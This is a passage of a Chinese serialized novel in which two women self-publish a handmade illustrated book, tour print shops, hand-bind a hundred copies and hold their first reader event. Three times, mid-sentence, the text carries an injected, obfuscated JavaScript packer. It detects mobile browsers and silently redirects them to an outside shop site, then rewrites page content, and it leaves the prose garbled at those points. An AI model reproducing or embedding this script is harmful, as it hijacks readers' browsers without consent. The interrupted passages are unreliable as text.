她们决定先做几个不同的设计样本:不同字体、不同版式、不同图文比例。打印出来实际感受,再决定最终方案。 “印刷生产这部分最让我头疼。”霜莉看着白板上的第三个区域,“纸张选择、印刷工艺、装帧方式、成本控制……全是专业术语,完全不懂。” 鸿雁已经联系了几家小型印刷厂,收集了报价和样品。“我有个想法:我们可以去印刷厂实地参观,亲眼看看印刷过程,和师傅直接交流。这样比只看样品和报价单更直观。” 这个提议得到霜莉的赞同。她们计划下周安排一天时间,拜访三家不同的印刷厂,了解各自的特色和优势。 “最后是营销发行。”鸿雁指着白板的最后一个区域,“这是我们最不擅长的部分。我不喜欢推销自己,你也不太擅长自我宣传。” 霜莉思考着:“也许我们可以换个思路:不是‘推销’,而是‘分享’。通过博客、社交媒体分享创作过程,让读者了解这本书背后的故事和心血。预售也不是‘卖书’,而是‘邀请读者参与’,让他们成为作品诞生的一部分。” 这个视角的转换让鸿雁感到轻松:“这样我可以接受。分享过程,分享思考,分享我们为什么做这本书,而不是硬生生地说‘请买我们的书’。” 分工大致确定后,她们开始第一天的具体工作。霜莉打开《豆腐山林》的文稿,开始逐字逐句地精读修改。鸿雁则启动电脑,整理插图文件,同时打开排版软件教程视频。 工作室里安静下来,只有键盘敲击声、鼠标点击声和视频讲解声。咪咪和糯米似乎感受到了严肃的工作氛围,都安静地待在各自的角落,没有像往常那样嬉闹。 霜莉修改到苏寻味第一次见到叶静心的场景。原文写道:“她站在竹林小径的尽头,背对着我,身姿挺拔如竹。”她停下来思考,然后修改为:“她站在竹林小径的尽头,晨雾缭绕中,背影与竹子几乎融为一体,若不是那随风轻扬的发丝,我几乎分不清哪是竹哪是人。” 修改后的描述更生动,更有画面感,也更能体现叶静心与自然融合的气质。她将这段改动标记出来,准备晚上与鸿雁讨论对应的插图是否需要调整。 另一边,鸿雁正在学习排版软件的基本操作。她尝试将一段文字和一幅插图导入,调整位置、大小、边距。第一次尝试很笨拙,文字和图像打架,版面杂乱无章。她并不气馁,撤销重来,这次先确定文字区域,再放置图像,版面清晰了许多。 “霜莉,你看这个版式如何?”她将屏幕转向霜莉。 霜莉走过来看:“文字区域太规整了,有点呆板。‘食味江湖’的气质应该更灵动一些,也许可以尝试不对称的版式,或者让文字绕着图像流动?” 鸿雁点头:“有道理。我试试文字绕排。”她调整设置,让文字沿着插图的轮廓排列,效果立即生动起来。 “这个好!”霜莉赞叹,“但要注意阅读的流畅性,不能为了美观牺牲可读性。” “明白,我再调整。”鸿雁继续尝试。 午餐时间,她们没有像往常那样外出觅食,而是简单做了三明治,边吃边讨论上午的进展。 “我修改了三章,发现一个之前没注意到的问题。”霜莉说,“有些段落过于注重意境描写,忽略了情节推进。读者可能会失去耐心。” 鸿雁咬着三明治思考:“但意境正是我们的特色啊。如果为了情节加快节奏,会不会失去深度?” “不是删除意境,而是让意境服务于情节。”霜莉解释,“比如苏寻味观察竹林的那段,可以同时暗示她对叶静心性格的猜测,为后面的互动做铺垫。这样意境和情节就结合了。” “我明白了。”鸿雁点头,“就像我的插图,不能只追求美观,还要推动叙事,揭示人物,传达主题。” 她们互相启发,彼此补充。霜莉的文字修改启发了鸿雁的插图调整;鸿雁的设计尝试启发了霜莉的版面构思。这种实时的、深入的交流,是传统出版流程中很难实现的。 下午,霜莉继续文字修改,鸿雁开始整理插图文件。这项工作看似简单,实则繁琐:每幅图需要调整分辨率、色彩模式、文件格式;需要统一风格,确保印刷质量;需要建立清晰的编号系统,与文字对应。 鸿雁发现自己低估了这项工作的工作量。五十多幅插图,每幅都要仔细处理,确保细节不丢失,色彩不偏差。她戴上耳机,播放轻音乐,进入专注的工作状态。 霜莉完成了当天的修改计划,开始研究印刷知识。她阅读关于纸张克数、印刷工艺、装帧方式的文章,做笔记,列问题清单。很多术语陌生,很多概念复杂,但她坚持一点一点消化。 “铜版纸、哑粉纸、胶版纸、轻涂纸……”她念着纸张类型,“每种纸的质感、显色效果、成本都不同。我们需要找到最适合图文并茂的书的那种。” 她下载了几家印刷厂的电子样本册,对比不同纸张的印刷效果。发现哑粉纸确实最适合彩色插图,但成本高;胶版纸成本低,但色彩表现一般。也许真的需要做两种版本:精装版用哑粉纸,平装版用胶版纸。 傍晚,她们停下工作,一起复盘当天进度。霜莉在白板上更新任务完成情况:文字修改完成30%,插图整理完成20%,设计学习有进展,印刷研究刚开始。 “比预想的慢。”霜莉有些担忧,“照这个速度,我们需要三个月才能完成所有准备工作。” 鸿雁却更乐观:“但质量比速度重要。而且我们在学习新技能,开始会慢,熟练后会加快。重要的是不要因为赶时间而降低标准。” 她们讨论了明天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122864|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作重点:霜莉继续文字修改,同时开始起草作者手记和创作谈;鸿雁完成插图整理,开始尝试封面设计。 “封面设计最关键。”鸿雁说,“它是书的第一印象,要体现‘食味江湖’的气质,又要吸引读者拿起书。” 霜莉提议:“我们可以做几个不同风格的封面草图,然后在小范围征求意见。不仅是朋友,也可以问一些潜在读者,看看哪种设计最打动他们。” “好主意。”鸿雁已经在速写本上勾勒想法,“我想用那幅苏寻味和叶静心对坐的插图做封面,但需要调整构图和色彩,让它更适合封面。” 晚餐后,她们没有继续工作,而是给自己放了短暂的休息时间。两人坐在工作室的地板上,靠着书架,分享一杯茶和几块饼干。咪咪和糯米终于得到关注,兴奋地围上来。 “你知道吗,”霜莉轻声说,“虽然工作量巨大,虽然有很多不懂的东西,但我感到一种前所未有的充实。这种对自己作品全程负责的感觉,很累,但很真实。” 鸿雁点头:“我也有同感。以前画画,画完就结束了,最多考虑一下装裱。现在要考虑纸张、印刷、装帧、设计……每一个环节都影响最终效果,每一个选择都体现我们的理念。这让我对创作有了更深的理解。” 她们聊到深夜,不仅是工作,还有创作、生活、未来。自出版的压力让她们更紧密,挑战让她们更默契,共同的困难让她们更团结。 分别时,鸿雁说:“明天继续。一步一个脚印,我们不着急。” 霜莉微笑:“对,慢慢来,但不停下。” 走在回家的夜路上,霜莉感到一种疲惫但满足的平静。肩上的糯米已经睡着,小身体随着她的步伐轻轻起伏。 这一天,她们分工协作,开始了自出版的具体工作。有进展,有困难,有发现,有调整。但最重要的是,她们在一起,共同面对,共同解决。 这不是一个人的战斗,是两个人的协作;不是孤独的坚持,是分享的旅程。 分工不是为了分离,而是为了更好地协作;专业化不是为了割裂,而是为了更完整的呈现。 在这个分工协作的过程中,她们不仅在生产一本书,也在深化一种合作模式,也在学习一种负责态度,也在实践一种创作理念。 而这一切,都将体现在最终的书中:不仅是内容的深度,也是制作的用心,也是合作的温度,也是坚持的价值。 明天,太阳照常升起,工作继续,协作继续,成长继续。 而她们,准备好了。 一步一个脚印,一章一页一字,一图一色一纸。 慢慢来,但不停下。 认真做,但不焦虑。 分工协作,共同创造。 为了那本理想中的书,为了那个纯粹的创作梦,为了那段深厚的友谊路。 继续。 一直继续。 因为最好的创作,不是孤独的辉煌,而是共享的平凡;不是完美的成品,而是真实的过程;不是遥远的梦想,而是脚下的每一步。 而她们,正在走在这条路上。 分工,但同心;协作,但自主;努力,但从容。 这就是她们的自出版之路。 这就是她们的“食味江湖”。 这就是她们的“寻常”组合。 在分工协作中,创造完整。 在各自专注中,实现共同。 在具体工作中,抵达理想。 继续前行,带着分工的智慧,带着协作的温暖,带着创造的喜悦。 明天见。 28. 手工书的诞生 印刷厂的车间里弥漫着油墨和纸张的气味。巨大的机器发出规律的轰鸣声,纸张在滚筒间飞速穿梭,被印上文字和图像。霜莉和鸿雁戴着耳塞,跟在印刷师傅老周身边,眼睛紧盯着刚刚出来的样张。 “看这里,”老周指着样张上的一个局部,“色彩有点偏,青色太重了。需要调整一下曲线。” 鸿雁凑近仔细看,确实,插图中山林的青绿色调比原图更浓,失去了一些层次感。“能调回我提供的文件效果吗?” “可以,但需要时间。”老周说,“每调整一次,就要重新制版,重新试印。如果要求高,可能要试好几次才能达到理想效果。” 霜莉查看时间,她们已经在印刷厂待了三个小时,这还是第一家厂。今天计划参观三家,时间很紧。 “周师傅,如果我们选择你们的厂,能保证最终的印刷效果达到我们的要求吗?”她问。 老周坦诚地说:“我不能保证100%,但我们可以尽量接近。关键是你们的文件要标准,要求要明确。而且,”他顿了顿,“说实话,你们这种小批量、高要求的活,很多大厂不愿意接。我们小厂灵活,愿意配合,但成本会高一些。” 这正是霜莉和鸿雁面临的核心问题:大厂标准化程度高,但不够灵活;小厂愿意配合,但技术和稳定性可能不足。 离开第一家厂,她们赶往第二家。这家更小,车间只有两台机器,但师傅看起来经验丰富。负责人是个中年女性,姓陈,说话直接。 “我看过你们的文件,”陈师傅说,“插图很精美,但有些细节在印刷中可能会丢失。比如这幅水墨风格的画,那些极淡的层次,印刷机可能表现不出来。” 鸿雁心里一沉。这正是她最担心的——数字文件在屏幕上看起来完美,但转化为物理印刷时,很多微妙的细节会丢失。 “有什么办法吗?”她问。 陈师傅想了想:“可以用专色印刷,增加一些特殊工艺。但那样成本会翻倍。或者,调整设计,让对比更强烈,牺牲一些微妙性来保证印刷效果。” 这个选择让鸿雁为难。专色印刷成本太高,她们承担不起;调整设计又可能破坏作品的韵味。 第三家厂是个折中选项:规模中等,设备较新,师傅年轻但专业。负责人小李才三十出头,对新技术很了解。 “你们的文件我可以先进行印刷优化处理,”小李说,“用软件模拟印刷效果,提前调整。这样试印次数可以减少,成本也能控制。” 他展示了他们的数字打样系统:文件导入后,可以模拟在不同纸张上的印刷效果,甚至可以模拟不同光源下的色彩表现。 “这个好!”霜莉赞叹,“我们可以提前看到效果,减少实际试印的次数。” 小李继续说:“而且我们有一种新的印刷工艺,叫‘数字微喷’,适合小批量高质量印刷。虽然不是传统的大批量印刷方式,但色彩还原度极高,适合你们这种艺术类书籍。” 数字微喷的成本比传统印刷高,但比专色印刷低。而且最小起印量只有50本,适合她们的小批量测试。 参观完三家厂,已经傍晚。两人在附近的咖啡馆坐下,整理笔记,比较优缺点。 “第一家经验丰富但设备旧,第二家灵活但技术有限,第三家技术新但经验可能不足。”霜莉总结,“各有利弊。” 鸿雁翻看收集的样品和报价:“第三家的数字微喷样品确实质量最好,色彩还原最接近原图。但价格也是最贵的。” 她们计算着成本:如果印100本,第三家的报价会让单本成本接近定价的两倍,意味着每卖出一本都要亏损。但如果印200本,单本成本会下降,但初始投资更大,库存风险也更高。 “也许我们可以调整定价?”霜莉说,“精装版定价高一些,覆盖成本;平装版用传统印刷,降低成本。” 鸿雁思考着:“但这样会有两个不同的版本,设计、纸张、印刷方式都不同。等于要做两本书,工作量加倍。” 难题一个接一个。她们原本以为选择印刷厂是最简单的环节,没想到涉及这么多技术细节和商业考量。 “我有个想法,”霜莉突然说,“我们不一定要做传统意义上的‘书’。既然是小批量,既然我们这么注重质感和细节,为什么不考虑手工制作?” “手工制作?”鸿雁疑惑。 “对,部分环节手工完成。”霜莉越说越兴奋,“比如,印刷交给第三家厂用数字微喷,但装帧我们可以自己手工完成:折页、配页、缝线、贴衬纸……这样既能控制质量,又能降低成本,还能增加独特的手工感。” 鸿雁的眼睛亮了:“手工书!这完全符合‘食味江湖’的气质——注重过程,注重手感,注重每一本的独特性。而且,手工制作的过程本身就可以成为我们分享的内容,让读者了解书背后的心血。” 这个想法让她们重新兴奋起来。她们开始构思手工书的制作流程:印刷厂完成内页印刷和裁切,她们手工完成折页、配页、缝线、装封面、贴衬纸、盖章编号…… “但手工制作需要技能,需要工具,需要空间。”霜莉考虑实际困难,“我们得学习手工装帧技术,购买工具,把工作室改造成手工作坊。” “我们可以学!”鸿雁已经拿出手机搜索手工书教程,“网上有很多资源,我们还可以去参加手工书工作坊。工具不贵,空间可以调整。最重要的是,手工制作能让每一本书都独一无二,都带着我们的温度和心意。” 她们决定尝试这个方案。先小批量试做几本,测试流程,计算时间成本,评估可行性。如果可行,就正式采用;如果不可行,再考虑其他方案。 接下来的一周,她们投入到手工书制作的学习和实验中。鸿雁参加了周末的手工书工作坊,学习基本的缝线方法和装帧技巧;霜莉研究各种装帧材料:缝线、胶水、衬纸、封面布料。 工作室再次变身,这次是手工作坊。工作台的一侧是电脑和设计设备,另一侧摆满了手工工具:骨刀、打孔器、缝书针、蜡线、压书机、裁纸刀…… 第一个实验品很粗糙。内页折得不齐,缝线歪斜,封面贴得皱巴巴。但捧在手里时,两人都感到一种奇妙的满足感——这是她们亲手制作的第一本书,虽然不完美,但是真实的,有温度的。 “像第一次做豆腐的苏寻味。”鸿雁笑着说,“笨拙但真诚,失败但珍贵。” 霜莉点头:“而且我们知道问题在哪里:折页要用骨刀压出清晰的折痕,打孔要准确对齐,缝线要均匀用力,封面要先贴衬纸再包布……” 第二个实验品好多了。折页整齐,缝线工整,封面平整。虽然还达不到专业水平,但已经像模像样。 “如果我们一天能做五本,一百本需要二十天。”霜莉计算着,“这个时间可以接受。而且手工制作可以分批进行,不影响其他工作。” 鸿雁测量了每本书的手工制作时间:从折页到完成,大约两小时。这包括仔细的检查和质量控制。“如果熟练了,时间可能会缩短。但更重要的是,手工制作让我们与每一本书都有直接的接触,都能确保质量。” 她们决定正式采用手工书方案。与第三家印刷厂签约,委托他们印刷内页和裁切;自己负责所有手工装帧环节。 新的挑战又来了:材料采购。她们需要选择合适的缝线、衬纸、封面布料,还要设计书签、藏书票、编号章等细节。 “封面布料要耐磨,要有质感,要符合‘食味江湖’的气质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122865|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”鸿雁在布料市场里穿梭,触摸各种样品,“这种亚麻布不错,质朴自然;这种绢布更精致,但可能太脆弱。” 霜莉对比着几种布料:“亚麻布更符合我们的气质,但颜色选择少。我们可以考虑染色,或者用布料与纸张结合的方式。” 最终她们选择了一种淡青色的棉麻混纺布,质地坚韧,颜色雅致,触感温暖。缝线选了与布料同色系的亚麻线,衬纸选了柔和的米色手工纸。 最让她们兴奋的是编号章的设计。鸿雁画了一个小小的图案:上部分是一支毛笔和一支画笔交叉,下部分是一个碗,周围环绕着“食味江湖”四个篆字。找印章师傅刻成铜章,每本书盖一个,手写编号。 “这样每一本都是独一无二的。”鸿雁看着刚盖好章的实验品,“有我们的标志,有手工的痕迹,有顺序的编号。读者拿到的不只是一本书,而是一件有温度的作品。” 一切准备就绪,她们开始了第一批手工书的制作。印刷厂送来了裁切好的内页,整齐地堆放在工作室的角落。她们制定了严格的工作流程:第一天折页打孔,第二天缝线,第三天贴衬纸,第四天装封面,第五天盖章编号检查。 工作重复而繁琐,但两人都没有抱怨。反而在重复中找到了节奏,在繁琐中发现了禅意。折页时,骨刀划过纸张的声音清晰而规律;缝线时,针穿过纸孔的触感实在而满足;盖章时,铜章压在纸上的印记深刻而庄重。 每天结束时,她们清点当天的成果:十本完成的书整齐排列,每一本都经过仔细检查,确保没有瑕疵。虽然数量不多,但每一本都凝聚着心血,都体现着理念。 第十天,第一百本书完成。她们把所有的书排列在工作室的长桌上,像一个小小的展览。淡青色的封面在灯光下泛着柔和的光泽,手工的痕迹隐约可见,每一本都相似但又不同。 霜莉和鸿雁站在桌前,久久没有说话。这些书不仅是一个项目的完成,更是一个理念的实现,一个选择的验证,一个合作的结果。 “我们真的做出来了。”鸿雁轻声说,声音有些哽咽。 霜莉握住她的手:“我们真的做出来了。没有妥协,没有稀释,完全按照我们的想象。虽然小,虽然少,但它是真实的,纯粹的,我们的。” 她们各拿起一本书,翻开,闻着纸张和油墨的气味,触摸着手工缝线的质感,看着文字和图像的对话,感受着从创作到制作的全过程。 这就是手工书的诞生:不仅是物理意义上的制作,也是精神意义上的完成;不仅是产品的产出,也是理念的实体化;不仅是工作的结束,也是新可能的开始。 明天,这些书将开始寻找它们的读者。今天,它们就在这里,静静地,骄傲地,证明着两个创作者的坚持和勇气,证明着一种不同的出版可能,证明着在商业化时代,仍然有人选择缓慢、选择手工、选择纯粹。 手工书的诞生,是结束,也是开始。 是完成,也是启程。 是收获,也是播种。 而霜莉和鸿雁,站在这个节点上,回望来路,展望前路,心中充满了平静的喜悦和坚定的希望。 她们做到了。 用双手,用智慧,用坚持,用友谊。 做出了一本真正意义上的“她们的书”。 这就是手工书的诞生。 这就是“食味江湖”的开始。 这就是“寻常”组合的证明。 在机械复制的时代,创造手工的温度。 在快速消费的时代,坚持缓慢的制作。 在标准化的时代,保留独特的印记。 这就是她们的选择,这就是她们的创作,这就是她们的“寻常”。 而这一切,才刚刚开始。 29. 首场分享会 茶馆的庭院里摆着三十把竹椅,已经坐满了人。还有些晚到的客人站在廊下,或倚在院中的桂花树旁。秋日下午的阳光透过树叶洒下斑驳的光影,空气中弥漫着茶香和隐约的桂花甜香。 霜莉和鸿雁站在庭院前方的小台子上,面前是一张长桌,上面整齐地摆放着五十本手工制作的《豆腐山林》。书的淡青色封面在阳光下显得格外温润,手工缝线的细节隐约可见。 台下坐着她们的朋友、早期读者、以及通过各种渠道听说这场分享会而感兴趣的新面孔。林悦也来了,坐在第三排,微笑着向她们点头。编辑林姐、画家朋友、美食博主、常去的茶馆老板、甚至陈爷爷面馆的老板都来了。咪咪和糯米成了意外的迎宾员,一个高冷地蹲在角落,一个兴奋地在客人间滑翔。 霜莉感到手心出汗,不是紧张,而是一种混合了期待、兴奋和些许不安的复杂情绪。这是她们自出版计划第一次面对公众,是手工书第一次与读者见面,是“食味江湖”世界第一次正式敞开大门。 鸿雁相对平静,但霜莉注意到她不停调整着胸前的“寻常”组合胸针——那是她们约定的信号:如果紧张,就摸摸胸针,提醒自己为什么要做这一切。 下午三点整,茶馆老板敲响了小铜锣,庭院安静下来。 “欢迎大家。”霜莉开口,声音比预想的稳定,“感谢大家在这个秋日的下午,来到这个小小的庭院,参加‘食味江湖’系列的第一次分享会,也是《豆腐山林》手工书的首次亮相。” 她停顿了一下,目光扫过台下的面孔,看到了熟悉的朋友鼓励的微笑,也看到了陌生面孔好奇的眼神。 “今天不仅是一本书的分享会,”霜莉继续说,“也是一次创作旅程的回顾,一次合作友谊的见证,一次关于食物、记忆、传承和成长的对话。” 鸿雁接上:“《豆腐山林》是我们‘食味江湖’系列的第一个完整故事,也是我们‘寻常’组合的第一次深度合作。这本书从构思到完成,经历了漫长的过程:有灵感的迸发,有创作的瓶颈,有技术的挑战,有选择的困惑,也有突破的喜悦。” 她拿起一本手工书,展示给大家:“我们选择了自出版和手工制作的方式,不是因为它容易,而是因为它能让我们保持创作的纯粹性和完整性。这里的每一本书,都是我们亲手装帧的,从折页、缝线到封面,每一个环节都凝聚着我们的心意。” 台下响起轻轻的赞叹声。有客人探身向前,想看清书的细节。 霜莉开始讲述《豆腐山林》的创作故事:如何从一次江南旅行中获得灵感,如何构思苏寻味和叶静心这两个人物,如何通过食物探讨深度与广度、传统与现代、孤独与连接等主题。 她的讲述生动而真诚,不时引用故事中的段落,或分享创作过程中的趣事和困境。当她讲到苏寻味连续七天做豆腐失败时,台下的美食博主朋友喊道:“我试过!真的很难!”引来一阵笑声。 鸿雁则分享了插图创作的过程:如何通过画面捕捉人物微妙的情感,如何用视觉语言补充文字叙事,如何在“即时对话”创作中与霜莉的文字形成深层共鸣。她还展示了一些创作草图和工作照,让观众看到作品背后的努力和探索。 “最让我感动的是,”鸿雁说,“在创作这个关于传承和对话的故事时,我和霜莉也在实践我们故事中的理念:互相学习,互相启发,在差异中寻找共鸣,在独立中建立连接。” 分享进行到一半时,茶馆的伙计端上了特制的茶点:不是普通的糕点,而是根据《豆腐山林》中描述的“山林豆腐”改良而成的豆腐甜品,配以桂花蜜和坚果碎。 “请大家品尝,”霜莉说,“这是鸿雁根据故事中的描述,经过多次试验做出的版本。它可能不完美,但它是真实的尝试,就像故事中苏寻味做的豆腐一样,重要的是过程中的学习和理解。” 客人们品尝着豆腐甜品,庭院里响起低低的交谈声和赞叹声。食物的体验让分享会从理论讨论进入了感官共鸣,故事中的场景和情感变得具体而可感。 品尝环节后,进入了问答时间。第一个提问的是林悦:“作为传统出版从业者,我很好奇你们自出版和手工制作的体验。最大的收获和最大的挑战分别是什么?” 霜莉和鸿雁对视一眼,然后霜莉回答:“最大的收获是完全的创作自主权。我们可以决定书的一切:内容、设计、纸张、装帧、定价、发行方式。这种控制感让我们能够完全实现我们的创作理念。” 鸿雁补充:“最大的挑战也是这种全面的责任。从内容到生产,从营销到发行,所有环节都要自己承担。我们不仅要是创作者,还要是设计师、生产者、营销人员、客服……工作量巨大,学习曲线陡峭。” 一位年轻读者问:“书后的编号是什么意思?我注意到每本书的编号旁边还有一个手写的日期。” 鸿雁解释:“那是我们手工制作的日期和顺序编号。比如‘2023.10.15-028’,意思是这本书是2023年10月15日制作的第28本。我们记录了每本书的制作日期和制作者——有些是我做的,有些是霜莉做的,有些是我们一起完成的。” 这个细节让很多观众感到惊喜。一本有制作日期和制作者信息的书,不再是大规模生产的匿名商品,而是有出生日期和出生地的独特存在。 一位中年读者问了一个深刻的问题:“在数字阅读盛行的时代,为什么还要做这样精致但昂贵的手工书?它的意义在哪里?” 霜莉思考了一会儿,然后回答:“您说得对,从实用和经济的角度,手工书没有优势。但对我们来说,书不仅是信息的载体,也是艺术的表达,情感的传递,价值的承载。手工书强调的正是这种‘物’的质感,‘手’的温度,‘心’的投入。” 她拿起一本书,轻轻抚摸封面:“在这个越来越虚拟化、快速化、标准化的时代,我们想提供一种不同的体验:缓慢的,有质感的,独特的,带着创作者直接印记的体验。就像故事中叶静心的豆腐,不是最高效的食物,但有着工业产品无法复制的深度和温度。” 鸿雁接上:“而且,手工书的限量性也是一种价值观的表达:不是追求最大的销量和最广的传播,而是寻找真正懂得欣赏的读者,建立深度的连接。每一本手工书都像是一个邀请,邀请读者进入一个更慢、更深、更真实的世界。” 问答持续了半小时,问题涵盖了创作的各个方面:人物塑造、情节设计、主题表达、合作方式、未来规划等等。霜莉和鸿雁坦诚回答,不回避困难,不夸大成就,保持着一贯的真实和深度。 最后,进入签售环节。客人们排队上前,购买手工书,请作者签名。这不是传统签售那种快速的流水线作业,而是缓慢的、个性化的交流。 每位读者拿到书时,霜莉和鸿雁都会简要介绍这本书的特点:哪一天制作的,谁主要负责装帧,有什么特别的细节。然后在扉页上签名,并应读者要求写一句简短的话。 一个年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122866|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻女孩拿到书后,犹豫了一下,然后说:“我能抱抱这本书吗?它看起来太珍贵了。” 鸿雁笑了:“当然可以。书就是用来阅读、触摸、感受的,不是供在架子上的装饰品。” 女孩小心地抱着书,闻了闻纸张的气味,轻轻抚摸封面,然后满足地笑了:“我能感觉到你们的心意。” 这句话让霜莉和鸿雁都眼眶发热。这正是她们做手工书想要达到的效果:不仅是传递内容,也是传递情感,建立连接。 签售持续了一个小时,五十本书全部售完。还有十几位客人没有买到,霜莉记下了他们的联系方式,承诺下一批制作时会优先通知。 分享会结束时,夕阳已经西斜。庭院里的桂花树在暮色中散发着更浓郁的香气,客人们陆续离开,但很多人在离开前都停下来,与霜莉和鸿雁再次交谈,表达对作品的欣赏和对分享会的感谢。 林悦是最后离开的之一。她走到台前,看着空了的书桌,感慨地说:“今天让我看到了出版的另一种可能。不是大规模的商业运作,而是小范围的深度连接;不是标准化的产品生产,而是个性化的艺术创作。” 她转向霜莉和鸿雁:“我仍然相信传统出版的价值,但今天我也看到了自出版和手工书的意义。它们是互补的,不是对立的。也许未来,我们可以探索更多的合作形式,在商业和艺术之间找到更多的可能性。” 送走所有客人后,霜莉和鸿雁留在庭院里,和茶馆老板一起收拾。老板一边擦桌子一边说:“今天的分享会很好,不仅是卖书,更是分享思想,分享情感,分享生活。这样的活动让茶馆也有了不同的意义。” 收拾完毕,老板给她们泡了一壶新茶,作为辛苦的慰劳。三人坐在渐渐暗下来的庭院里,慢慢喝茶,很少说话,享受着忙碌后的宁静。 桂花香,茶香,墨香,纸香,还有刚刚散去的人情味,混合成一种复杂的、温暖的、难忘的气息。 “我们做到了。”鸿雁终于轻声说。 “我们做到了。”霜莉重复,声音里满是疲惫但也满是满足。 她们碰了碰茶杯,没有更多言语。一切尽在不言中:从灵感到构思,从创作到修改,从设计到制作,从筹备到分享……漫长的旅程,艰难的挑战,终于在今天,在这个秋日的下午,在这个桂花飘香的庭院,有了一个圆满的呈现。 不是结束,而是新的开始;不是巅峰,而是新的起点;不是答案,而是新的问题。 但至少,今天,此刻,她们可以对自己说:我们坚持了,我们尝试了,我们分享了,我们连接了。 这就够了。 足够勇敢,足够真实,足够温暖。 足够让她们继续前行,继续创作,继续探索。 在分享之后,在连接之后,在认可之后。 继续。 一直继续。 因为创作的意义不在于一次的成功,而在于持续的表达;不在于一时的认可,而在于长久的共鸣;不在于单次的分享,而在于不断的对话。 而她们,已经开始了这种表达,建立了这种共鸣,展开了这种对话。 在“食味江湖”的世界里,在“寻常”组合的旅程中,在手工书的温度里,在分享会的连接中。 继续前行,带着今天的温暖,带着读者的鼓励,带着彼此的承诺,带着对创作和生活的热爱。 首场分享会结束了。 但“食味江湖”的旅程,才刚刚真正开始。 30. 意外的回响 分享会结束后的第一周,霜莉和鸿雁都刻意放慢了节奏。手工书售罄,分享会成功,她们需要时间消化、休息、思考下一步。工作室里不再有紧张的工期压力,恢复了往日的创作氛围:霜莉在写新的故事片段,鸿雁在画随性的速写,两只宠物在阳光里打盹。 但外界的回响开始悄悄传来。 首先是博客和社交媒体上的分享。参加分享会的读者陆续发布了他们的感受:有书的照片,有现场的记录,有阅读的心得,有与作者的互动。这些分享不是刻意的推广,而是真诚的表达,反而更有感染力。 “今天参加了《豆腐山林》的分享会,收获远超预期。不仅是一本书的发布,更是一次关于创作、友谊、食物和人生的深度对话。手工书的质感让人感动,每一本都有制作日期和编号,像是有了生命和记忆。” “读《豆腐山林》,被苏寻味和叶静心的故事打动,更被书背后的创作故事打动。两位作者选择了自出版和手工制作,在这个追求效率和规模的时代,这种坚持格外珍贵。书不只是商品,是艺术,是情感,是信念。” “分享会上品尝了故事中的豆腐甜品,听了创作过程的分享,买了手工制作的书。整个过程像是一次完整的体验:从味觉到视觉,从理想到现实,从创作者到读者。这样的文化活动,比大型书展更有温度。” 这些分享在美食、文学、艺术类社群中引起了关注。虽然不是病毒式传播,但稳定而持续,吸引了一群特定的读者:那些注重深度而非广度,注重品质而非数量,注重体验而非消费的人。 接着是独立书店的询问。几家本地的独立书店通过读者推荐知道了《豆腐山林》,联系霜莉和鸿雁,询问是否可以在书店代销。 “我们不求大量进货,只求精品呈现。”一家书店的店主在邮件中写道,“你们的手工书符合我们书店的理念:重视内容深度,注重制作质感,尊重创作者自主。如果愿意,我们可以安排一个小型的橱窗展示和作者座谈。” 这是一个意外的机会。霜莉和鸿雁原本计划主要依靠线上销售,没想到线下渠道主动找上门。她们谨慎地选择了三家理念相近的书店合作,每家提供十本书代销,并计划未来举办小型的店内分享活动。 然后是媒体的关注。一家本地文化周刊的记者听说了这场独特的分享会,联系她们做专访。不是关于书的推广,而是关于自出版现象、手工书文化、创作者自主权等更深层的话题。 采访在工作室进行,记者被工作室的氛围打动:一边是电脑和设计设备,一边是手工书制作工具,墙上贴着创作草图和进度表,地上散落着纸张样品和布料碎片,两只宠物悠闲地穿梭其间。 “这里不像传统的工作室,更像一个创作的生态系。”记者感叹,“我能感受到你们对创作的全方位投入。” 专访文章发表后,标题是《在机械复制时代,她们选择手工书:两个创作者的自出版实验》。文章没有夸大成功,而是客观记录了她们的选择、挑战、坚持和思考,呈现了自出版的另一种可能性。 文章引起了小范围的讨论。有读者赞同她们的理念,有出版从业者思考行业变化,有创作者受到启发开始考虑自己的自出版计划。甚至有一所艺术院校的老师联系她们,邀请她们去分享手工书制作和自出版经验。 最让霜莉和鸿雁意外的,是一位海外华文书店的询问。书店主人在网上读到关于《豆腐山林》的文章,被手工书和“食味江湖”的理念吸引,询问是否可以订购一批书到海外。 “我们在海外推广华文文学和文化,但很多传统出版物无法打动年轻读者。”书店主人在越洋电话中说,“你们这种结合传统与现代、文学与艺术、内容与形式的方式,很有新意。手工书的质感和独特性,也符合当下追求个性和真实的趋势。” 